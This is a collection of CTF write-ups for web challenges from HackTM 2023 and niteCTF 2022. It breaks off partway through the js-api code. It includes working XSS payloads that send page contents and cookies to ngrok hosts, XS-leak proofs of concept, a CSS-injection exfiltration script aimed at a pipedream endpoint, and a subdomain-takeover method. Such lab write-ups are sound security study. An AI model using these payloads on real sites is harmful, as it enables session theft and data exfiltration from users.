>>> from bs4 import BeautifulSoup
>>> BeautifulSoup("<!--><script>alert(1)</script>-->", "html.parser").find_all()
[]
```

However, a HTML5 parser would accept `<!-->` as a valid comment. We can test this out on any modern browser using a [DOM viewer](https://software.hixie.ch/utilities/js/live-dom-viewer/).

<figure><img src="/files/65dKtrnlao4DZL71PHIH" alt=""><figcaption></figcaption></figure>

### Abusing YouTube JSONP Endpoint

Now that we can inject arbitrary HTML, we have to get past the rather restrictive CSP that is applied on all pages through the Nginx proxy.

{% code overflow="wrap" %}

```properties
add_header Content-Security-Policy "default-src 'self' www.youtube.com www.google.com/recaptcha/ www.gstatic.com/recaptcha/ recaptcha.google.com/recaptcha/; object-src 'none'; base-uri 'none';";
```

{% endcode %}

Throwing this into Google's [CSP evaluator](https://csp-evaluator.withgoogle.com/) shows us that `www.youtube.com` might host JSONP endpoints that we can abuse.

<figure><img src="/files/iERTTq7oEYbiZ79K0K9S" alt=""><figcaption></figcaption></figure>

If so, we could use something like&#x20;

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script src="https://www.youtube.com/some_jsonp_endpoint?callback=alert">&#x3C;/script> 
</strong></code></pre>

to achieve an XSS.

But *where*? The evaluator is checking against a pre-defined list of known JSONP endpoints [here](https://github.com/google/csp-evaluator/blob/master/allowlist_bypasses/json/jsonp.json). The only one that matches `www.youtube.com` is:

```
"//www.youtube.com/profile_style"
```

which seems to be outdated because visiting that URL just brings us to a YouTube profile called "Profile Style".

<figure><img src="/files/oU2bcsABJidUerPpLsvv" alt=""><figcaption></figcaption></figure>

At this point, I tried getting Burp Suite to insert a `callback=` parameter to all JSON endpoints requested using an extension like [this one](https://github.com/kapytein/jsonp) and using YouTube as a normal user, hoping to get lucky.

Alas, this did not yield any results. After sleeping off my frustration, I came back to this challenge when my teammate sent a link to an obscure issue on [Google's issue tracker](https://issuetracker.google.com/issues/35171971).

<figure><img src="/files/NXwRCIxzeirJRLumZma1" alt=""><figcaption></figcaption></figure>

This didn't seem very helpful. After all, Google decided *not* to implement JSONP on the `/oembed` API, right? Using the `callback` parameter seems to have no effect.

<figure><img src="/files/sfLWP8dMTLJ8o8Cv2vQx" alt=""><figcaption></figcaption></figure>

But when I randomly tried using `alert();` instead of `alert`, the following response was returned.

{% code overflow="wrap" %}

```javascript
// API callback
alert();({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert();'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
}
);
```

{% endcode %}

Wait, did I just trigger a JSONP response? For some reason, using a "valid" callback name does not elicit a JSONP response, but an "invalid" one yields a JSONP response saying that the callback name is invalid. That's really weird and ironic.

With our `callback` parameter reflected into the response, we can now inject arbitrary JavaScript code. The only restrictions are that quotes and angle brackets are escaped.

To exfiltrate the contents of the admin's `/profile` page, the following `callback` value can be used.

{% code overflow="wrap" %}

```javascript
&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?` btoa(txt)})
```

{% endcode %}

Combined with the BeautifulSoup bypass above, the final payload we submit is:

{% code overflow="wrap" %}

```
<!--><script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>-->
```

{% endcode %}

We can then find the URL of the post containing the flag:

```html
...

<h1>admin's Posts</h1>
<ul class="list-group">
    
    <li class="list-group-item">
        <a href="/post/68a30ae2-a8f3-4d12-9ffa-0564a3a7177b">Welcome to Crocodilu</a>
        <span class="float-right">2023-02-18</span>
    </li>
    
</ul>

...
```

and repeat this one more time to fetch `/post/68a30ae2-a8f3-4d12-9ffa-0564a3a7177b` instead.

```markup
...

<article class="media content-section">
  <div class="media-body">
    <h2>Welcome to Crocodilu</h2>
    <p class="article-content">HackTM{trilulilu_crocodilu_xssilu_9bc3af}</p>
    <small class="text-muted">2023-02-18</small>
  </div>
</article>

...
```


# secrets

XS leak through cross-origin redirects — intended and unintended

## Overview

> A secure and secret note storage system is a platform or application designed to keep your confidential notes safe from unauthorized access.

The challenge revolved around searching contents of secret notes.

<figure><img src="/files/etphoqcGgmzjhQNaTdAU" alt=""><figcaption></figcaption></figure>

Let's examine the behaviour of the search feature.

When searching for a note through `/search?query=<query>`, there are two possible responses:

1. The note was found.

In this case, a 301 redirect is issued to `http://results.wtl.pw/results?ids=<note UUIDs>&query=<query>`.

```http
HTTP/1.1 301 MOVED PERMANENTLY
Server: nginx/1.23.3
Date: Sun, 19 Feb 2023 13:48:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 357
Connection: close
Location: http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&query=test
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&amp;query=test">http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&amp;query=test</a>. If not, click the link.
```

It is important to note that this is a redirect to a *different* subdomain. Searching on **`secrets`**`.wtl.pw` redirects to **`results`**`.wtl.pw`.

<figure><img src="/files/NLnrSHJE7lvxVYoehgOe" alt=""><figcaption></figcaption></figure>

2. The note was not found.

In this case, a 301 redirect is issued to `http://secrets.wtl.pw/#<query>`.

```http
HTTP/1.1 301 MOVED PERMANENTLY
Server: nginx/1.23.3
Date: Sun, 19 Feb 2023 13:51:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 241
Connection: close
Location: http://secrets.wtl.pw/#asdf
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://secrets.wtl.pw/#asdf">http://secrets.wtl.pw/#asdf</a>. If not, click the link.

```

<figure><img src="/files/oEb6SsiLopQ5XtYGjukA" alt=""><figcaption></figcaption></figure>

## Unintended Solution — Chrome's 2MB URL Limit

One thing that might be immediately noticeable is that if the note was found, then the resulting URL length is extended considerably by the `ids` parameter.

A [well-known technique](https://xsleaks.dev/docs/attacks/navigations/#inflation) in these kinds of scenarios is hitting the server's maximum URL limit, and detecting error status codes. However, these rely on `SameSite=None` cookies for the [error event detection](https://xsleaks.dev/docs/attacks/error-events/).&#x20;

The challenge had `SameSite=Lax` cookies, so the primitive for any XS-Leak attack is a top-level navigation (e.g. through `window.open`). There is no way to detect server response codes in a cross-origin window reference, so I started looking for other ways to detect the URL inflation.

We might not be able to detect a *server-side* URL length error, but can we somehow detect a *client-side* one? According to [Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), Chrome's maximum URL length is 2MB.

> In general, the *web platform* does not have limits on the length of URLs (although 2^31 is a common limit). *Chrome* limits URLs to a maximum length of **2MB** for practical reasons and to avoid causing denial-of-service problems in inter-process communication.

This is where it gets interesting! Because this is a *client-side* constraint, and URL fragments persist on redirects, we can open `/search?query=<query>#AAA...[2MB]...AAA` to hit the length limit.

So, what happens when the URL limit is exceeded?

Apparently, it shows an `about:blank#blocked` page.

<figure><img src="/files/t9V1iAxOjQS9nr2Qur1Y" alt=""><figcaption></figcaption></figure>

As you might expect, trying to access the `origin` (or any other sensitive information) of a cross-origin window reference would raise an exception.

<figure><img src="/files/VCfsPckd99BdbFm3kW6c" alt=""><figcaption></figcaption></figure>

However, when opening a page that errors out due to the 2MB constraint, the window's `origin` remains that of the parent.

As an experiment, let's try a successful query.

```javascript
let url = "http://secrets.wtl.pw/search?query=test#"
let w = window.open(url + "A".repeat(2 * 1024 * 1024 - url.length - 1))
```

The length of the opened URL&#x20;

```
http://secrets.wtl.pw/search?query=test#AAA...AAA
```

is exactly 2MB - 1, so the initial search URL is just under the length limit.

When the window is redirected to

```
http://results.wtl.pw/results?ids=<note UUIDs>&query=test#AAA...AAA
```

the URL is extended and the length limit is hit. The window becomes an `about:blank` page and its `origin` remains that of the parent.

<figure><img src="/files/nDkdh2vXzQ5ECkBHRj9P" alt=""><figcaption></figcaption></figure>

Now, if we try the same thing on an unsuccessful query, the final redirected URL falls short of the 2MB limit and the window's `origin` is no longer accessible.

<figure><img src="/files/Qgp8ANlJdi3heYVUQwzr" alt=""><figcaption></figcaption></figure>

This can be extended to the following PoC, which brute-forces a character of the flag.

```markup
<html>
<body></body>
<script>
    (async () => {

        const curr = "http://secrets.wtl.pw/search?query=HackTM{"

        const leak = async (char) => {
            
            fetch("/?try=" + char)
            let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
            
            const check = async () => {
                try {
                    w.origin
                } catch {
                    fetch("/?nope=" + char)
                    return
                }
                setTimeout(check, 100)
            }
            check()
        }

        const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

        for (let i = 0; i < CHARSET.length; i++) {
            leak(CHARSET[i])
            await new Promise(resolve => setTimeout(resolve, 50))
        }
    })()
</script>
</html>
```

Because this PoC only tells us what is definitely *not* the flag (by detecting the `w.origin` errors), we can implement a backend server to quickly find what *is* the flag by eliminating the unsuccessful queries from the charset.

```python
from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
    global chars
    
    nope = request.args.get('nope', '')
    if nope:
        chars.append(nope)

    remaining = [c for c in CHARSET if c not in chars]

    print("Remaining: {}".format(remaining))

    return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
    return open('exploit.html', 'r').read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)
```

The downside of this method is that the long URLs can cause significant lag on the server's admin bot. This *may or may not* have made the bot extremely unstable for a period of time... oops!

## Intended Solution — CSP Violation

It turns out that there is a much faster and less laggy way of detecting the redirects. Because the redirect is to a different origin, we can use [CSP violations](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects) as an oracle.&#x20;

```markup
<meta http-equiv="Content-Security-Policy" content="form-action http://secrets.wtl.pw">
<form action="http://secrets.wtl.pw/search" method="get">
    <input type="text" name="query" value="test">
</form>

<script>
    document.addEventListener('securitypolicyviolation', () => {
        console.log("CSP violation!")
    });
    document.forms[0].submit();
</script>
```

Because the query was successful, the window attempted to load `http://results.wtl.pw`. But since our CSP dictates that forms can only be submitted to `http://secrets.wtl.pw`, the request was blocked. We can detect this through the `securitypolicyviolation` event listener.

<figure><img src="/files/1IDPrAE3DvWsqrLSTNgk" alt=""><figcaption></figcaption></figure>


# Hades

jQuery-facilitated XSS

## Overview

> Don't stop retrying!

This is basically a site that uses jQuery a bunch of AJAX requests to dynamically load the page content. For example, let's load the "news" category at `?cat=news`.

<figure><img src="/files/S1YU8oe1UiKC2L1zIPTi" alt=""><figcaption></figcaption></figure>

Observing the HTML response, the `news` string is reflected twice in the JavaScript.

```markup
<script>
  console.log('cat in url');
  $('#ajax-load').load('/ajax/articles?cat=news');
  $('.search-filter ul li.tag').removeClass('active');
  $('.search-filter ul li[data-id="news"]').addClass('active');
  $('.search-filter ul li.tag').click(function() {
    $('.search-filter ul li.tag').removeClass('active');
    $(this).addClass('active');
    $('#ajax-load').html('<hr/><div class="loading"></div><hr/>');
    $('#ajax-load').load('/ajax/articles-results?cat=' + $(this).data('id'));
  });
</script>
```

Trying to use a single quote to break out of the string (`/?cat=news'`) doesn't work - a `\` is prepended to it.

```javascript
$('#ajax-load').load('/ajax/articles?cat=news\'');
```

After doing some testing, I found that the `\` character isn't escaped and `/?cat=news\\'` breaks out of the string.

However, because any `()` characters are removed and subsequent quotes are still escaped, I couldn't produce valid JavaScript after breaking out of the string.

```javascript
$('#ajax-load').load('/ajax/articles?cat=test\\'+alert``');
$('.search-filter ul li.tag').removeClass('active');
$('.search-filter ul li[data-id="test\\'+alert``"]').addClass('active');
```

It seems that we need to find another way to achieve XSS.

## Getting XSS

The first line of the JavaScript tells jQuery to fetch `/ajax/articles?cat=news` and set its contents as the HTML of the `#ajax-load` element.

```javascript
$('#ajax-load').load('/ajax/articles?cat=news');
```

Because we also control the `cat` parameter in this second request, we can try to find a HTML injection vector in `/ajax/articles` and inject it into `#ajax-load`.

The following request

```
/ajax/articles?cat=asdf"x="
```

injects an attribute into the `<img>` element in the response.

```markup
<noscript>
    If you can't see anything, you have to enable javascript
    <img src="/images/error.jpg" alt="selected category asdf"x="" />
</noscript>
```

Looking at jQuery's [`.load()` documentation](https://api.jquery.com/load/), we find an interesting feature that allows us to specify a specific portion of the remote document that we want to insert.

<figure><img src="/files/RYqlc4Rvo6OTeHP634qP" alt=""><figcaption></figcaption></figure>

This allows us to get rid of the pesky `<noscript>` tag end *only* load the `<img>` element inside.

```
/?cat=random"onerror="alert`` img
```

will render

```markup
<img src="/images/error.jpg" alt="selected category random"onerror="alert``" />
```

and give us XSS.

We can use the following payload to steal the admin's cookie and get the flag.

{% code overflow="wrap" %}

```
/?cat=random"onerror="window.location=`https://f5e6-49-245-33-142.ngrok.io?${document.cookie}` img 
```

{% endcode %}


# niteCTF 2022

Nice Christmas CTF with some relatively interesting XS-Leak web challenges.

Sidenote: someone registered all the top teams, so I technically beat all of them.

<figure><img src="/files/BfKgOAJut1tBaWxzFRUC" alt=""><figcaption></figcaption></figure>

| Challenge                                                     | Category | Solves |
| ------------------------------------------------------------- | -------- | ------ |
| [Undocumented js-api](/2022/nitectf-2022/undocumented-js-api) | Web      | 10     |
| [js-api](/2022/nitectf-2022/js-api)                           | Web      | 5      |

The solutions for both challenges involve creating a GitHub Pages site, so here's my exploit repository :smile:

{% embed url="<https://github.com/zeyu2001/nitectf-jsapi>" %}


# Undocumented js-api

## Description

> I asked my web developer friend to create a secure app for storing my HTML notes, but he left halfway through the project. If you find any bugs in the app, just report it to me at netcat url.

## Solution

### Initial Analysis

The challenge was hosted at `https://chall1.jsapi.tech`, which we can easily tell is a GitHub pages site.

<figure><img src="/files/QfGdGOZZuuUTBudQTv6H" alt=""><figcaption></figcaption></figure>

The page provides an interface to write and save notes in HTML. This is implemented by the `script.js` script.

{% tabs %}
{% tab title="index.html" %}

```markup
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>HTML Tester</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="./style.css" rel="stylesheet">
    <meta http-equiv="Content-Security-Policy" content="script-src 'self' cdnjs.cloudflare.com; object-src 'none'; frame-src 'none'; style-src 'self' fonts.googleapis.com *.jsapi.tech;">
    <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:ital,wght@0,300;0,400;0,500;0,600;1,300;1,400;1,500&display=swap" rel="stylesheet">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.3.0/purify.min.js" integrity="sha512-FJzrdtFBVzaaehq9mzbhljqwJ7+jE0GyTa8UBxZdMsMUjflR25f5lJSGD0lmQPHnhQfnctG0B1TNQsObwyJUzA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
  </head>
  <body>
    <div id="wrapper">
      <header id="header-section">
      <h1>HTML Notes</h1>
      <h2>Test your latest HTML based creations and save them to show to your friends later.</h2>
      </header>
      <form id="note" method="post" action="/html_note">
        <div id="note-text-area-wrapper"><textarea id="note-text-area" name="note"></textarea></div>
        <div id="submit-wrapper"><button type="submit" id="note-submit">Save and render</button><button id="note-go-back">Get last render</button></div>
        <!-- // TODO:(sohom) Implement these before the next update load data from print.jsapi.live -->
        <!-- <div id="print-wrapper"><button type="submit" id="note-print-preview">Preview Print</button><button id="note-print">Print</button></div> -->
      </form>
      <div id="output"></div>
      <footer id="ad">We are also working on a experimental iframe-based JS API. Feel free check it out and report any issues you face.</footer>
    </div>
    <script src="./script.js">
    </script>
  </body>
</html>
```

{% endtab %}

{% tab title="script.js" %}

```javascript
'use strict';
window.addEventListener("load", () => {
  window.a = "*";
  const onmessage = (name) => {
    return window.parent.postMessage(name, window.a);
  };
  const parseUrl = (url) => {
    //return (new URL(url)).host.endsWith(".jsapi.tech");
    return true
  };
  const el_form_login_form = document.getElementById("note");
  const parsed = document.getElementById("note-text-area");
  const tmp = document.getElementById("output");
  const back = document.getElementById("note-go-back")
  const preview_print = document.getElementById("note-print-preview");
  const printBtn = document.getElementById("note-print");
  const self = new class {
    constructor() {
      this.note = window.localStorage.getItem("note") || null;
    }
    set(str) {
      console.log(`NOTE_APP_SETTER_CALL ${str}`);
      window.localStorage.setItem("note", str);
      var bookmarkName = DOMPurify.sanitize(str, {ADD_TAGS: ['link','style']}); // allow CSS
      tmp.innerHTML = bookmarkName;
      parsed.setAttribute( 'data-last', self.get() );
      this.note = str;
      parsed.value = str;
    }
    get() {
      return console.log("NOTE_APP_GETTER_CALL"), this.note || parsed.getAttribute( 'data-last' ) || window.localStorage.getItem("note");
    }
    goBack() {
      this.set( parsed.getAttribute( 'data-last' ) );
    }
  };
  el_form_login_form.addEventListener("submit", (event) => {
    return event.preventDefault(), event = parsed.value, self.set(event), false;
  });
  back.addEventListener("click", (event) => {
    event.preventDefault();
    self.goBack();
  });
  self.set(self.get());
  window.addEventListener("beforeunload", () => {
    onmessage("NOTE_APP_API_UNLOADED");
  });
  const urlInstance = new URL(window.location.href);
  return ("true" === urlInstance.searchParams.get("enableapi") && parseUrl(urlInstance.searchParams.get("recv")) && window.parent || window.opener) && (onmessage("NOTE_APP_API_LOADED"), window.a = urlInstance.searchParams.get("recv"), window.addEventListener("message", async(event) => {
    var factor_text;
    if (parseUrl(event.origin)) {
      if ("string" == typeof event.data) {
        if (event.data.startsWith("NOTE_APP_FLAG_REQUEST")) {
          onmessage("NOTE_APP_EXPERIMENTAL_API_CALL_MADE");
          //factor_text = (await fetch("file:///flag.txt")).text;
          factor_text = "flag{fake}"
          if (!(event.source === window)) {
            onmessage("You need to try a bit harder...");
          }
          onmessage("NOTE_APP_FLAG_REQUEST_RESPONSE " + factor_text);
        } else {
          if (event.data.startsWith("NOTE_APP_SET_REQUEST")) {
            onmessage("NOTE_APP_EXPERIMENTAL_API_CALL_MADE ");
            const [a, ...b] = event.data.split(" ");
            self.set(b.join(' '));
          }
        }
      }
    } else {
      onmessage("NOTE_APP_UNTRUSTED_ORIGIN");
    }
  })), false;
});
```

{% endtab %}
{% endtabs %}

Analyzing the JavaScript source, we see that a [message event](https://developer.mozilla.org/en-US/docs/Web/API/Window/message_event) handler is only added to the window if several conditions are met.

{% code overflow="wrap" %}

```javascript
const onmessage = (name) => {
    return window.parent.postMessage(name, window.a);
};
const parseUrl = (url) => {
    return (new URL(url)).host.endsWith(".jsapi.tech");
};

...

return ("true" === urlInstance.searchParams.get("enableapi") && parseUrl(urlInstance.searchParams.get("recv")) && window.parent || window.opener) && (onmessage("NOTE_APP_API_LOADED"), window.a = urlInstance.searchParams.get("recv"), window.addEventListener("message", async(event) => {
    
    ...
    
})), false;
```

{% endcode %}

This is a very long line of code that

* checks if the `enableapi` query parameter is set to `true`
* checks if the `recv` query parameter is a subdomain of `jsapi.tech`
* checks if the window is framed or opened by another window
* sets `window.a` to the `recv` query parameter
* finally, adds the message event handler

Next, we see that `parseUrl` is called on `event.origin`. In order to pass this check, the origin that our `postMessage` call comes from must be a subdomain of `jsapi.tech`.

```javascript
var factor_text;
if (parseUrl(event.origin)) {
  
  ...

} else {
  onmessage("NOTE_APP_UNTRUSTED_ORIGIN");
}
```

### Subdomain Takeover

This part is similar to [Yana from UIUCTF 2021](/2021/uiuctf-2021/yana). Because a wildcard configuration is used (i.e. `*.jsapi.tech`), *any* `.jsapi.tech` subdomain would point to `sohomdatta1.github.io`.

To confirm this, we just have to use `dig` on any `.jsapi.tech` subdomain that currently does not have an associated GitHub pages site.

```
$ dig asdf.jsapi.tech

; <<>> DiG 9.10.6 <<>> asdf.jsapi.tech
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35437
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;asdf.jsapi.tech.		IN	A

;; ANSWER SECTION:
asdf.jsapi.tech.	28800	IN	CNAME	sohomdatta1.github.io.
sohomdatta1.github.io.	3600	IN	A	185.199.111.153
sohomdatta1.github.io.	3600	IN	A	185.199.108.153
sohomdatta1.github.io.	3600	IN	A	185.199.109.153
sohomdatta1.github.io.	3600	IN	A	185.199.110.153

;; Query time: 353 msec
;; SERVER: 192.168.50.1#53(192.168.50.1)
;; WHEN: Wed Dec 28 20:43:09 +08 2022
;; MSG SIZE  rcvd: 143
```

From GitHub's [documentation](https://docs.github.com/en/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site), users are explicitly warned against using wildcard DNS records to prevent subdomain takeovers.

<figure><img src="/files/lnDetYt4WonAjbOCIobm" alt=""><figcaption></figcaption></figure>

When requesting for `asdf.jsapi.tech`, GitHub tries to find a matching repository with a `CNAME` file containing `asdf.jsapi.tech`. Because no such repository currently exists, *anyone* can create a new repository with this `CNAME` file and serve a GitHub pages site at `asdf.jsapi.tech`.

### Aside: Stealing Exploits

I'm not sure if the challenge initially took this into account, but services like [crt.sh](https://crt.sh/) allow users to search for certificates issued by major certificate authorities (CAs) by scraping their transparency logs. Using crt.sh, I was able to find all the subdomains created by other players attempting the challenge.

<figure><img src="/files/xZ22U4h3XnbwyCdFf2mR" alt=""><figcaption></figcaption></figure>

At the time of solving, there were two other solvers. Making an educated guess landed me on `squ1rrel`'s exploit page, `squ1rrel.jsapi.tech`, where I pretty much found the flag and a working PoC. For completeness, I'll explain the exploit anyway :)

### CSS Injection

Taking a closer look at the JavaScript source, we see that when a note is saved and `self.set()` is called, the note's contents go into the `data-last` attribute of the `#note-text-area` element.

Additionally, DOMPurify v2.3.0 is used to sanitize our note, with `link` and `style` tags being explicitly allowed.

```javascript
const el_form_login_form = document.getElementById("note");
const parsed = document.getElementById("note-text-area");
const tmp = document.getElementById("output");
const back = document.getElementById("note-go-back")
const preview_print = document.getElementById("note-print-preview");
const printBtn = document.getElementById("note-print");

...

const self = new class {
  constructor() {
    this.note = window.localStorage.getItem("note") || null;
  }
  set(str) {
    console.log(`NOTE_APP_SETTER_CALL ${str}`);
    window.localStorage.setItem("note", str);
    var bookmarkName = DOMPurify.sanitize(str, {ADD_TAGS: ['link','style']}); // allow CSS
    tmp.innerHTML = bookmarkName;
    parsed.setAttribute( 'data-last', self.get() );
    this.note = str;
    parsed.value = str;
  }
  get() {
    return console.log("NOTE_APP_GETTER_CALL"), this.note || parsed.getAttribute( 'data-last' ) || window.localStorage.getItem("note");
  }
  goBack() {
    this.set( parsed.getAttribute( 'data-last' ) );
  }
};
```

We can send a `postMessage` starting with `NOTE_APP_SET_REQUEST` to save a note, allowing us to insert DOMPurify-sanitized HTML into the child iframe.

```javascript
if (event.data.startsWith("NOTE_APP_SET_REQUEST")) {
  onmessage("NOTE_APP_EXPERIMENTAL_API_CALL_MADE ");
  const [a, ...b] = event.data.split(" ");
  self.set(b.join(' '));
}
```

The Content Security Policy (CSP) is quite restrictive, but one part stands out - stylesheets can be loaded from `*.jsapi.tech`, allowing us to load a CSS file from our exploit domain.

{% code overflow="wrap" %}

```html
script-src 'self' cdnjs.cloudflare.com; object-src 'none'; frame-src 'none'; style-src 'self' fonts.googleapis.com *.jsapi.tech;
```

{% endcode %}

By the way, because a tag like `<link>` will get [removed](https://github.com/cure53/DOMPurify/issues/257) by the browser if it's the first thing in the HTML, passing `<link rel="stylesheet" href="...">` to DOMPurify will just return an empty string. However, adding anything *before* the `<link>` tag fixes this behaviour. For example, I will use `asdf<link rel="stylesheet" href="...">`.

Since we are interested in the victim's saved note, we can exfiltrate the `data-last` attribute of the `#note-text-area` element using [CSS attribute selectors](https://www.w3schools.com/css/css_attribute_selectors.asp).

For instance, the URL specified in the `background` of the following CSS rule is only fetched if the `data-last` attribute starts with the string `nite{a`.

```css
textarea[data-last^='nite{a'] {
    background: url("https://EXFIL.x.pipedream.net/?data=nite%7Ba");
}
```

This can be extended to bruteforce all possible characters in each position of the flag, with each character having a background URL corresponding to the guessed flag.

To generate the CSS I used the following script.

```python
import string
import urllib.parse

ENDPOINT = "https://EXFIL.x.pipedream.net/"
CURR_FLAG = "nite{n0w_we_kn0w_h0w_10_h4ck_g00gl6_w1th_c5"
CHARSET = string.ascii_letters + string.digits + "_-{}"

css = ""

for char in CHARSET:
    css += f"""
textarea[data-last^='{CURR_FLAG + char}'] {{
    background: url("{ENDPOINT}?data={urllib.parse.quote_plus(CURR_FLAG + char)}");
}}
    """

with open("exploit.css", "w") as f:
    f.write(css)

```

Our exploit page will simply load the challenge page as an `iframe`, wait for the API to be loaded, then send a `postMessage` linking the CSS we created above to the target page. This is added to a GitHub repository together with the CSS, and deployed to GitHub pages under a `.jsapi.tech` subdomain.

```markup
<html>
    <iframe src="https://chall1.jsapi.tech?enableapi=true&recv=https://zeyu.jsapi.tech"></iframe>
    <script>
        const frame = document.querySelector('iframe');

        window.addEventListener('message', (event) => {
            fetch("https://EXFIL.x.pipedream.net?" + event.data);

            if (event.data.includes("NOTE_APP_API_LOADED")) {
                frame.contentWindow.postMessage(
                    `NOTE_APP_SET_REQUEST asdf<link rel="stylesheet" href="https://zeyu.jsapi.tech/exploit.css?t=${Math.random()}"></link>`,
                    "*"
                );
            }
        });
    </script>
</html>
```

Exfiltrating each character is slightly annoying, as it involves redeploying our exploit GitHub page with the updated CSS.


# js-api

## Description

> We hired a new developer @sohomdatta1, dude coded something, we sent it for a security audit, it came back a sea of red :(

## Solution

This challenge had the same premise as [Undocumented js-api](/2022/nitectf-2022/undocumented-js-api). This time, the JavaScript source is different (and slightly more complex).

```javascript
window.addEventListener('load', async () => {

    function NOTREACHED() {
        // destroy currently availiable data
        // Challenge Author (sohom): 
        // if you are hitting this codepath repeatedly
        // please use a incognito window, your ad-blocker
        // or other extensions might be sending spurious postMessages
        // to this page
        window.location.href = `https://www.youtube.com/watch?v=FtutLA63Cp8`
    }

    function escapeHtml(unsafe) {
        return unsafe
         .replace(/&/g, "&amp;")
         .replace(/</g, "&lt;")
         .replace(/>/g, "&gt;")
         .replace(/"/g, "&quot;")
         .replace(/'/g, "&#039;");
    }



    class NotesManager {
        constructor() {
            this.noteData = window.localStorage.getItem( 'note' ) || '';
            this.noteTextArea = document.querySelector( '#note-text-area' );
            this.noteTextArea.value = this.noteData;
            this.previewNode = document.querySelector( '#output' );
            this.highlightNode = document.querySelector( '#note-search-highlights' )
            this.noteManager = this;
        }

        static getCurrentNoteManager() {
            if ( !this.noteManager ) {
                this.noteManager = new NotesManager();
            }
            return this.noteManager;
        }

        getNotesTextAreaValue() {
            return this.noteTextArea.value
        }
    
        get() {
            return this.noteData.toString();
        }
    
        set(text) {
            if ( typeof text !== 'string' ) return;
            const cleanedText = DOMPurify.sanitize(text);
            this.noteData = cleanedText;
            window.localStorage.setItem( 'note', cleanedText.toString() ); 
        }
    
        /**
         * Previews text, if text is null will preview existing note
         * @param {String} [text] String to preview
         */
        preview(text) {
            if ( typeof text !== 'string' && !!text ) return;
            if ( !text ) text = this.noteData;
            else text = DOMPurify.sanitize( text );
            this.previewNode.innerHTML = text;
        }
    
        /**
         * Search for the particular text
         * @param {String} text text to search for
         */
        search(text) {
            if ( typeof text !== 'string' ) return;
            if ( !window.enable_experimental_features ) return;
            // TODO(sohom): Address concerns raised by our internal security
            // team regarding this API at b/1337. Given that this API
            // is effectively a no-op and is not current exposed anywhere
            // as of version 0.0.1 it should be fine for now.
            // Since our internal bug tracker is well, "internal"
            // I have dumped relevant portion of the b/1337 at
            // https://github.com/sohomdatta1/jsapi-issues/issues/1
            text = DOMPurify.sanitize( text );
            const doesMatch = this.noteData.includes(text);
            if ( doesMatch ) {
                var lastIndex = 0, i = 0;
                for(var i = this.noteData.substring(i).indexOf(text); i < this.noteData.length; i = i + text.length + this.noteData.substring(i + text.length).indexOf(text)) {
                    if ( lastIndex > i ) break;
                    this.highlightNode.innerHTML += escapeHtml( this.noteData.substring(lastIndex,i) );
                    this.highlightNode.innerHTML += `<mark>${escapeHtml( text ) }</mark>`
                    lastIndex = i + text.length;
                }
                document.querySelector( '#note-text-highlight-wrapper' ).classList.remove( 'hidden' );
            }
        }
    }

    // initialize the document
    NotesManager.getCurrentNoteManager();
    NotesManager.getCurrentNoteManager().preview();

    window.document.querySelector( '#note-submit' ).addEventListener( 'click', (e) => {
        e.preventDefault();
        const nm = NotesManager.getCurrentNoteManager();

        nm.set( nm.getNotesTextAreaValue() );
        nm.preview();
    } );

    window.document.querySelector( '#note-save' ).addEventListener( 'click', (e) => {
        e.preventDefault();
        const nm = NotesManager.getCurrentNoteManager();

        nm.set( nm.getNotesTextAreaValue() );
    } );

    window.document.querySelector( '#note-render' ).addEventListener( 'click', (e) => {
        e.preventDefault();
        const nm = NotesManager.getCurrentNoteManager();

        nm.preview( nm.getNotesTextAreaValue() );
    } );

    /**
     * @experimental Added in 0.0.2
     */
    window.addEventListener( 'message', (e) => {
        if ( !e.origin.endsWith('jsapi.tech') ) return;
        const data = e.data;
        if ( typeof data !== 'object' && typeof data.op !== 'string' && typeof data.payload !== 'string' ) return;
        if ( data.op === 'preview' ) {
            NotesManager.getCurrentNoteManager().preview( data.payload );
        } else if ( data.op === 'set' ) {
            NotesManager.getCurrentNoteManager().set( data.payload );
        } else if ( data.op === 'search' ) {
            NotesManager.getCurrentNoteManager().search( data.payload );
        } else {
